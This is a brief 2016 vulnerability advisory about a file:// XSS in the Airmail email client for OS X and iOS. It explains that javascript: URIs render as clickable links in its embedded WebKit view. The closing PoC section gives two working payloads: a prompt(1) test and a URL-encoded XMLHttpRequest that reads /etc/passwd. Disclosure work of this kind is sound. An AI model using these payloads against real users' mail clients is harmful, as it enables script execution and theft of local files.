Airmail is a popular email client on iOS and OS X.
I found a vulnerability in airmail of the latest version which could cause
a file:// xss and arbitrary file read.

Author: redrain, yu.hong@chaitin.com
Date: 2016-08-15
Version: 3.0.2 and earlier
Platform: OS X and iOS
Site: http://airmailapp.com/
Vendor: http://airmailapp.com/
Vendor Notified: 2016-08-15

Vulnerability:
There is a file:// xss in airmail version 3.0.2 and earlier.
The app can deal the URLscheme render with link detection, any user can
edit the email content in reply with the evil code with the TL;DR.

Airmail implements its user interface using an embedded version of WebKit,
furthermore Airmail on OS X will render any URI as a clickable HTML <a
href= link. An attacker can create a simple JavaScript URI (e.g.,
javascript:) which when clicked grants the attacker initial JavaScript
execution (XSS) in the context of the application DOM.


PoC:
javascript://www.baidu.com/research?%0Aprompt(1)

a

Arbitrary file read:

javascript://www.baidu.com/research?%0Afunction%20reqListener%20()%20%7B%0A%
20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%
20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%
22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%
20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B